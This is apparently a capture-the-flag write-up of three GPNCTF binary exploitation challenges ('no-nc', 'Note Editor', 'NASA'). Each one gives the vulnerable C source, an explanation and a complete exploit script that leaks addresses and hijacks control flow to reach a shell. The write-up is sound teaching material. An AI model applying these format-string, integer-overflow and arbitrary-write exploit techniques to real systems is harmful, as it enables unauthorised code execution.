no-nc
Let’s take a look at the source code of the challenge:
#include <stdio.h>#include <string.h>#include <unistd.h>#include <stdlib.h>#include <fcntl.h>
#define RAW_FLAG "GPNCTF{fake_flag}"
char *FLAG = RAW_FLAG;
int no(char c){ if (c == '.') return 1; if (c == '/') return 1; if (c == 'n') return 1; if (c == 'c') return 1; return 0;}
char filebuf[4096] = {};int main(int argc, char **argv){ setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); char buf[200] = {}; puts("Give me a file to read"); read(STDIN_FILENO, buf, (sizeof buf) - 1); buf[sizeof buf - 1] = '\0'; size_t str_len = strlen(buf); for (size_t i = 0; i < str_len; i++) { if (no(buf[i])) { puts("I don't like your character!"); exit(1); } } char *filename = calloc(200, 1); snprintf(filename, (sizeof filename) - 1, buf); // Format-String Vulnerability puts("Will open:"); puts(filename); int fd = open(filename, 0); if (fd < 0) { perror("open"); exit(1); } while (1) { int count = read(fd, filebuf, (sizeof filebuf) - 1); if (count > 0) { write(STDOUT_FILENO, filebuf, count); } else { break; } }}
We can see that the program reads a filename from the user and checks if it contains any of the characters .
, /
, n
, and c
. If it does, it exits with an error message. Otherwise, it opens the file and reads its contents. But there is a format string vulnerability in the snprintf
function, which allows us to control the filename. So that I had write a fuzzing script to find the exactly index of the binary name ./nc
in the file system.
from pwnie import *
context.log_level = 'error'for i in range(0, 255): try: p = remote('0', 1337)
sa(b'read\n', f'%{i}$s'.encode()) ru(b'Will open:\n')
data = rl()[:-1] print(f'[+] Data leak at index {i}: {data} ')
except EOFError: close()
And I found that the binary name ./nc
is at index 71
and 122
. So that we can use %s
to make a pointer to the binary name, when the binary open the file, it will open the ./nc
binary instead of the file we want to read. But note that the binary name is not null-terminated, so we need to add a null byte at the end of the string to avoid any issues.
40 collapsed lines
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleep
context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./nc', checksec=False)libc = exe.libc
gdbscript = '''init-pwndbg# init-gef-batab *main+513c'''
def start(argv=[]): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], ssl=True) elif args.DOCKER: p = remote("localhost", 5000) sleep(0.5) pid = int(check_output(["pidof", "-s", "/app/run"])) gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path) pause() return p elif args.QEMU: if args.GDB: return process(["qemu-aarch64", "-g", "5000", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv) else: return process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv) else: return process([exe.path] + argv, aslr=True)
def debug(): gdb.attach(p, gdbscript=gdbscript) pause()
# ==================== EXPLOIT ====================p = start()
# debug()sa(b'd\n', b'%71$s\0')
interactive()# GPNCTF{up_and_DOWN_aL1_4rouND_60eS_th3_n_dimens1oN41_cIrcLe_wtF_15_tHiS_f1ag}
Note Editor
We have 2 source files, one is libc.c
and the other is main.c
.
main.c
#include <stdio.h>#include <stdint.h>#include <stdlib.h>#include <string.h>
#define NOTE_SIZE 1024struct Note { char* buffer; size_t size; uint32_t budget; uint32_t pos;};typedef struct Note Note;
#define SCANLINE(format, args) \ ({ \ char* __scanline_line = NULL; \ size_t __scanline_length = 0; \ getline(&__scanline_line, &__scanline_length, stdin); \ sscanf(__scanline_line, format, args); \ })
void setup() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0);}
void reset(Note* note) { memset(note->buffer, 0, note->size); note->budget = note->size; note->pos = 0;}
void append(Note* note) { printf("Append something to your note (%u bytes left):\n", note->budget); fgets(note->buffer + note->pos, note->budget, stdin); uint32_t written = strcspn(note->buffer + note->pos, "\n") + 1; note->budget -= written; note->pos += written;}
void edit(Note* note) { printf("Give me an offset where you want to start editing: "); uint32_t offset; SCANLINE("%u", &offset); printf("How many bytes do you want to overwrite: "); int64_t length; SCANLINE("%ld", &length); // INT.MIN - 2 if (offset <= note->pos) { uint32_t lookback = (note->pos - offset); if (length <= note->budget + lookback) { fgets(note->buffer + offset, length + 2, stdin); // plus newline and null byte uint32_t written = strcspn(note->buffer + offset, "\n") + 1; if (written > lookback) { note->budget -= written - lookback; note->pos += written - lookback; } } } else { printf("Maybe write something there first.\n"); }}
void truncate(Note* note) { printf("By how many bytes do you want to truncate?\n"); uint32_t length; SCANLINE("%u", &length); if (length > note->pos) { printf("You did not write that much, yet.\n"); } else { note->pos -= length; memset(note->buffer + note->pos, 0, length); note->budget += length; }}
uint32_t menu() { uint32_t choice; printf( "Choose your action:\n" "1. Reset note\n" "2. View current note\n" "3. Append line to note\n" "4. Edit line at offset\n" "5. Truncate note\n" "6. Quit\n" ); SCANLINE("%u", &choice); return choice;}
int main() { Note note; char buffer[NOTE_SIZE];
note = (Note) { .buffer = buffer, .size = sizeof(buffer), .pos = 0, .budget = sizeof(buffer) };
setup(); reset(¬e); printf("Welcome to the terminal note editor as a service.\n");
while (1) { uint32_t choice = menu(); switch (choice) { case 1: reset(¬e); break; case 2: printf("Current note content:\n\"\"\"\n"); puts(note.buffer); printf("\"\"\"\n"); break; case 3: append(¬e); break; case 4: edit(¬e); break; case 5: truncate(¬e); break; case 6: // fall trough to exit printf("Bye\n"); return 0; default: printf("Exiting due to error or invalid action.\n"); exit(1); } }}
libc.c
#include <stdio.h>#include <unistd.h>
char *fgets(char* s, int size, FILE *restrict stream) { char* cursor = s; for (int i = 0; i < size -1; i++) { int c = getc(stream); if (c == EOF) break; *(cursor++) = c; if (c == '\n') break; } // *cursor = '\0'; // our note is always null terminated return s;}
void win() { execve("/bin/sh", NULL, NULL);}
In generally, the program allows us to create a note, append lines to it, edit lines at specific offsets, and truncate the note. The note is stored in a fixed-size buffer, and we can manipulate it through various actions. The fgets
function is overridden to read input from the user, and it does not null-terminate the string, which is important for our exploit. Moreover, there is Int Overflow
vulnerability in the edit
function, where we can specify a negative length to write more than the buffer size, which will lead to a Buffer Overflow. So that the idea is to leak the stack address, and use int overflow to trigger buffer overflow, and then overwrite the return address to call the win
function.
47 collapsed lines
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleep
context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./chall', checksec=False)libc = exe.libc
gdbscript = '''init-pwndbg# init-gef-batab *0x401716b *0x401708b *0x4016CAb *0x4016E2b *0x4016FAb *0x401458b *0x401498b *0x401748c'''
def start(argv=[]): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], ssl=True) elif args.DOCKER: p = remote("localhost", 5000) sleep(0.5) pid = int(check_output(["pidof", "-s", "/app/run"])) gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path) pause() return p elif args.QEMU: if args.GDB: return process(["qemu-aarch64", "-g", "5000", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv) else: return process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv) else: return process([exe.path] + argv, aslr=False)
def debug(): gdb.attach(p, gdbscript=gdbscript) pause()
# ==================== EXPLOIT ====================p = start()
sla(b't\n', b'3')sla(b':\n', b'A'*1022)
sla(b't\n', b'4')sla(b': ', b'1016')sla(b': ', b'8')sl(b'B'*7)
sla(b't\n', b'2')ru(b'B'*7 + b'\n')stack_leak = fixleak(rl()[:-1])slog('stack leak @ %#x', stack_leak)
# debug()
sla(b't\n', b'4')sla(b': ', b'1016')sla(b': ', b'-2147483650') # INT.MIN - 2sl(b'C'*0x8 + p64(stack_leak) + p64(0x400) + p64(0x400) + p64(0xdeadbeef)*2 + p64(exe.sym.win))
sla(b't\n', b'6')
interactive()# GPNCTF{noW_YoU_5uRe1Y_AR3_rEadY_To_PwN_L4Dy8ird!}
NASA
The source code of the challenge is as follows:
// gcc -Og -g3 -w -fsanitize=address nasa.c -o nasa#include <stdio.h>#include <stdint.h>#include <stdlib.h>
void win() { puts("YOU WIN!!!\n"); system("/bin/sh"); exit(0);}
void provide_help(void *stack_ptr) { printf("%p\n", stack_ptr); printf("%p\n", &win);}
// Write What(value) Where(address)int main(void) { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0);
long long option; provide_help(&option); while (1) { puts("[1] Write [2] Read [3] Exit"); if (scanf("%llu", &option) != 1) break; if (option == 1) { puts("8-byte adress and 8-byte data to write please (hex)"); uintptr_t addr; uint64_t val; scanf("%lx %lx", &addr, &val); *((uint64_t *)addr) = val; } else if (option == 2) { puts("8-byte adress to read please (hex)"); uintptr_t addr; scanf("%lx", &addr); printf("%lx\n", *((uint64_t *)addr)); } else if (option == 3) { puts(":wave:"); break; } else { puts("Invalid option"); } } return 0;}
This is just a simple Write What Where challenge. The provide_help
function leaks the stack address, and we can use the main
function to write any value to any address. So that we can leak the stack address, and then write the address of the win
function to the stack address, and then call the win
function.
42 collapsed lines
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleep
context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./nasa_patched', checksec=False)libc = ELF('./libc.so.6', checksec=False)
gdbscript = '''init-pwndbg# init-gef-bata# brva 0x1533# brva 0x1655brva 0x1705c'''
def start(argv=[]): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], ssl=True) elif args.DOCKER: p = remote("localhost", 1337) sleep(0.5) pid = int(check_output(["pidof", "-s", "./nasa"])) gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path) pause() return p elif args.QEMU: if args.GDB: return process(["qemu-aarch64", "-g", "5000", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv) else: return process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv) else: return process([exe.path] + argv, aslr=False)
def debug(): gdb.attach(p, gdbscript=gdbscript) pause()
# ==================== EXPLOIT ====================p = start()
# debug()leak = hexleak(rl()[:-1])exe.address = hexleak(rl()[:-1]) - exe.sym.win
slog('leak @ %#x', leak)slog('pie base @ %#x', exe.address)
sla(b't\n', b'2')sla(b')\n', f'{hex(exe.got.exit)}'.encode())libc.address = int(b'0x' + rl()[:-1], 16) - libc.sym.exitslog('libc base @ %#x', libc.address)
sla(b't\n', b'2')sla(b')\n', f'{hex(libc.sym.environ)}'.encode())stack_leak = int(b'0x' + rl()[:-1], 16)saved_rip = stack_leak - 0x130slog('stack leak @ %#x', stack_leak)slog('saved RIP @ %#x', saved_rip)
sla(b't\n', b'1')sla(b')\n', f'{hex(saved_rip)} {hex(exe.sym.win+22)}'.encode())
sla(b't\n', b'3')
interactive()# GPNCTF{all_WR17es_ARe_Pro7ec7eD_BY_45aN_onlY_in_yoUR_dre4ms_9438}